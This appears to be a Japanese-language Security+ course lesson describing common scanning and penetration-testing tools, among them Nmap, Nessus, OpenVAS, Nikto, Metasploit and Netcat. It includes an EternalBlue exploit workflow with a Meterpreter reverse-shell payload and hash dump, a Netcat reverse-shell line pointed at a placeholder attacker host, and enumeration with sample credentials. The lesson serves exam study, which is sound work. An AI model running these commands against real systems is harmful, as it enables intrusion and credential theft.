0Pricing
Security+ Academy · レッスン

一般的なスキャンツール:Nessus、OpenVAS、Nmap

ホスト検出、ポートスキャン、脆弱性特定に使われる業界標準ツールを実際に扱い、基本的な操作に慣れます。

「一般的なスキャンツール:Nessus、OpenVAS、Nmap」はCoddyKit上の無料Security+ Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはSecurity+ Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Security+ Academyコースには全4レッスンが含まれています。

スキャンツールのエコシステム

セキュリティ専門家は、ホストの検出、ポートスキャン、サービス列挙、オペレーティングシステムの検出、脆弱性の特定、Webアプリケーションのテストなど、目的に応じてさまざまなスキャンツールを使い分けます。Security+では、各カテゴリで広く使われている主要なツールについての知識が求められます。それぞれのツールが何をできるのか、また何ができないのかを理解することで、作業に適したツールを選び、結果を正しく解釈できるようになります。複数の補完的なツールの結果を組み合わせると、単一のツールだけを使うよりも完全な範囲をカバーできます。

Nmap:ネットワークマッパー

Nmap(Network Mapper)は、ネットワークの検出とセキュリティ監査に最も広く使われているオープンソースツールです。稼働中のホストの検出、開いているポートの列挙、実行中のサービスとそのバージョンの検出、オペレーティングシステムの特定を行えます。Nmapには、SYNスキャン(デフォルトで、高速かつ比較的ステルス性が高い)、TCP Connect(完全なハンドシェイクを行うため検出されやすいものの、root権限が不要)、UDPスキャン、バージョンスキャンなど、さまざまなスキャン手法があります。NmapにはNmap Scripting Engine(NSE)が付属しており、脆弱性の検出、ブルートフォース、悪用のための数百種類のスクリプトを利用できます。

# Common Nmap scan types:
nmap -sS 192.168.1.0/24          # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10            # TCP connect scan
nmap -sU -p 53,67,161 target     # UDP scan specific ports
nmap -sV 192.168.1.10            # version detection
nmap -O 192.168.1.10             # OS detection
nmap -A 192.168.1.10             # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10            # scan all 65535 ports
nmap --script vuln 192.168.1.10  # run vulnerability scripts

Nmapの出力と解釈

Nmapの出力を正しく解釈することは、不可欠なスキルです。各行は、状態(open:サービスが待ち受けている、closed:ホストは応答したが待ち受けているサービスはない、filtered:応答がない、またはICMP到達不能で、ファイアウォールによる遮断の可能性が高い)、プロトコル、検出されたサービスとバージョンとともに、1つのポートを表します。開いているポートは、潜在的な攻撃対象領域です。ホスト上に予期しない開放ポートがある場合、侵害や無許可のサービスを示している可能性があります。-oN、-oX、-oGフラグを使うと、出力を通常形式、XML形式、grep可能形式で保存できます。出力を保存することは、記録を残し、時間の経過に伴うスキャン結果を比較するうえで重要です。

# Sample Nmap output:
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu
# 80/tcp   open  http     Apache 2.4.41
# 443/tcp  open  ssl/http Apache 2.4.41
# 8080/tcp open  http     Jetty 9.4.39
# 3306/tcp open  mysql    MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)

# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xml

Nessus:エンタープライズ脆弱性スキャナー

Nessus(Tenable製)は、商用脆弱性スキャナーとして最も広く導入されています。プラグインアーキテクチャを採用し、CVE、設定チェック、コンプライアンスベンチマーク(CIS、DISA STIG)、マルウェア検出を網羅する100,000以上のプラグインを備えています。Nessusは、提供された認証情報でシステムにログインし、インストール済みソフトウェアのバージョン、レジストリキー、設定ファイルを調べる認証付きスキャンを実行できます。これにより、認証情報を使わないネットワークプロービングよりもはるかに正確な結果が得られます。Nessusは、CVSSスコア、脆弱性の説明、修正の推奨事項を含む詳細なレポートを作成します。無料版のNessus Essentialsでは、最大16個のIPをスキャンできます。

# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)

# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High     (CVSS 7.0-8.9):  privilege escalation, severe data exposure
# Medium   (CVSS 4.0-6.9):  local privilege escalation, information disclosure
# Low      (CVSS 0.1-3.9):  minimal impact, hardening issues
# Info:    configuration data, no immediate risk

OpenVAS:オープンソース脆弱性スキャン

OpenVAS(Open Vulnerability Assessment System)は、Greenbone Networksが維持している無料のオープンソース脆弱性スキャナーです。商用化される前のNessusから派生した、コミュニティーによってサポートされるフォークです。OpenVASは、Nessusのプラグインに相当するNVT(Network Vulnerability Tests)を使用します。Greenbone Community Edition(GCE)には、Webベースの管理インターフェース(Greenbone Security Assistant)が用意されています。OpenVASは、ライセンス費用のために商用ツールを利用できない環境で人気があります。無料でありながらNmapより幅広い機能を備えているため、小規模な組織、学術環境、セキュリティラボでよく選ばれています。

# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup    # initial setup (takes time to download feeds)
gvm-start    # start OpenVAS services

# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report

# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."

Nikto:Webサーバー脆弱性スキャナー

Niktoは、危険なファイル、古いソフトウェアバージョン、サーバー設定の問題、一般的なWeb脆弱性をチェックするオープンソースのWebサーバースキャナーです。安全でないHTTPメソッド、欠落しているセキュリティヘッダー、公開された管理インターフェース、デフォルト認証情報、一般的なCGIの脆弱性など、6,700種類を超える既知の問題をテストします。Niktoは通信量が多く、ステルス性を目的として設計されていないため、対象に大量のログを残します。ネットワークレベルのスキャナーを補完し、NessusやOpenVASでは詳細にカバーできないWeb固有のチェックを提供します。Niktoは、必ずテストの承認を得たシステムに対してのみ使用してください。

# Nikto web scan examples:
nikto -h 192.168.1.10                    # basic scan
nikto -h https://192.168.1.10            # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443      # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html  # save report

# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)

Metasploit Framework

Metasploit Frameworkは、エクスプロイト、ペイロード、補助モジュール、侵入後のツールを集めたデータベースを提供する、最も広く使われているペネトレーションテストプラットフォームです。Security+の受験者は、実際に使用したことがなくても、Metasploitとは何か、ペンテストの中でどのような役割を果たすのかを理解しておく必要があります。Metasploitのモジュールには、エクスプロイト(脆弱性を利用するコード)、ペイロード(悪用の成功後に実行されるシェルコード。Meterpreterなど)、補助モジュール(悪用を行わずにスキャン、ファジング、列挙を実行するモジュール)、postモジュール(初期アクセス後の権限昇格、認証情報のダンプ、横展開に使用するモジュール)があります。

# Metasploit Framework basic workflow:
msfconsole                          # start Metasploit
search eternalblue                  # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info                               # show exploit details
set RHOSTS 192.168.1.10            # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5              # attacker IP
run                                # execute exploit

# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump              # dump NTLM hashes

Netcat:スイスアーミーナイフ

Netcat(nc)は、TCPまたはUDPを使用してネットワーク接続経由でデータを読み書きする、シンプルながら多用途なユーティリティです。セキュリティ業務では、侵害されたホストからリバースシェルを確立する、ネットワークセグメント間でファイルを転送する、ポートスキャンを実行する、テスト用の簡易ネットワークリスナーを作成する、バナーグラビングによってサービスのバージョンを特定するなど、数え切れない用途があります。ほぼすべてのLinuxシステムで利用でき、操作も簡単なため、正当な管理業務と攻撃者のツールキットの両方で頻繁に使用されています。そのため、検知の観点からも理解しておくべき重要なツールです。

# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22    # grab SSH banner
nc -v 192.168.1.10 80    # grab HTTP banner

# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded

# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash

# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender:   nc receiver_ip 9999 < file.txt

Recon-ngとOSINTツール

Recon-ngは、OSINT(Open Source Intelligence:オープンソースインテリジェンス)の収集を目的に設計されたWeb偵察フレームワークです。モジュールを使用して、Shodan、Bing、HaveIBeenPwned、DNSレコード、LinkedIn、WHOIS、Certificate Transparencyログなどの公開情報源に問い合わせ、アクティブスキャンを開始する前に対象に関する情報を収集します。ペネトレーションテストの偵察フェーズでは通常、まずOSINTを行い、対象のネットワークトポロジ、従業員名、メールアドレスの形式、使用技術、インターネット上に公開された資産を把握します。質の高いOSINTによって、アクティブスキャンだけで見つけようとすると大幅に時間がかかる攻撃経路が明らかになることがあります。

# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com

# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com

# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'

# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin

# 5. Certificate transparency:
crt.sh/?q=%.example.com  (reveals subdomains via certs)

Enum4linuxによるネットワーク列挙

Enum4linuxは、nullセッションとMSRPCを使用して、WindowsホストおよびSamba(Linux SMB)サーバーから情報を列挙します。ユーザー名、グループメンバーシップ、共有、パスワードポリシー、ワークグループ情報を抽出できます。内部ペネトレーションテストでは、enum4linuxによって、パスワードスプレーの対象にできるユーザーアカウントや、環境内の共有構造を迅速に明らかにできます。最新のWindowsバージョンでは、デフォルトでnullセッションへのアクセスが制限されていますが、設定が不適切な環境では依然として大量の情報が公開されていることがあります。認証済みの列挙には、Impacketのsamrdump.pyやCrackMapExecでも同様の機能を利用できます。

# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10       # all enumeration
enum4linux -U 192.168.1.10       # users only
enum4linux -S 192.168.1.10       # shares only

# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares

# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10

目的に合ったツールの選択

セキュリティ専門家は、作業内容に応じてツールを使い分けます。ホスト検出とポートスキャンにはNmap、大規模な脆弱性の特定にはNessus(商用)またはOpenVAS(無料)、Webサーバーの脆弱性にはNikto、Webアプリケーションへの攻撃にはBurp Suite、エクスプロイトにはMetasploit、OSINT偵察にはRecon-ng、theHarvester、Shodan、ネットワークトラフィックの分析にはWireshark、tcpdump、無線攻撃にはAircrack-ng suiteを使用します。Security+試験では、これらのツールに関する概念的な知識が問われます。すべてのツールを実際に使った経験がなくても、それぞれの用途を把握しておく必要があります。

クイックチェック

このレッスンで学んだCompTIA Security+(SY0-701)の概念について、理解度を確認しましょう。

レッスンのまとめ

このレッスンでは、Nmapがホスト検出、ポートスキャン、バージョン検出の基盤であり、追加機能を提供する強力なスクリプトエンジンも備えていること、NessusとOpenVASが既知のCVEに対して包括的な脆弱性スキャンを実行し、認証情報を使用したスキャンによって最も高い精度を実現できること、そしてMetasploitがペネトレーションテスター向けのエクスプロイトフレームワークを提供し、脆弱性が実際に悪用可能であることを確認して、攻撃による現実的な影響を示せることを学びました。次は、偵察から報告までのペネトレーションテストの全ライフサイクルを見ていきます。

よくある質問

「一般的なスキャンツール:Nessus、OpenVAS、Nmap」レッスンは無料ですか?

はい。「一般的なスキャンツール:Nessus、OpenVAS、Nmap」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Security+ Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Security+ Academyコースには全4レッスンが含まれています。

「一般的なスキャンツール:Nessus、OpenVAS、Nmap」で何を学びますか?

ホスト検出、ポートスキャン、脆弱性特定に使われる業界標準ツールを実際に扱い、基本的な操作に慣れます。 ブラウザで直接実行するハンズオンコードでSecurity+ Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Security+ Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのSecurity+ Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。

「一般的なスキャンツール:Nessus、OpenVAS、Nmap」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このSecurity+ Academyレッスンでコードを書いて実行できますか?

はい。すべてのSecurity+ Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. 脆弱性スキャンとペネトレーションテスト
  2. 一般的なスキャンツール:Nessus、OpenVAS、Nmap
  3. ペネトレーションテストの段階:偵察から報告まで
  4. CVSSスコアリングと脆弱性の優先順位付け
← Security+ Academyに戻る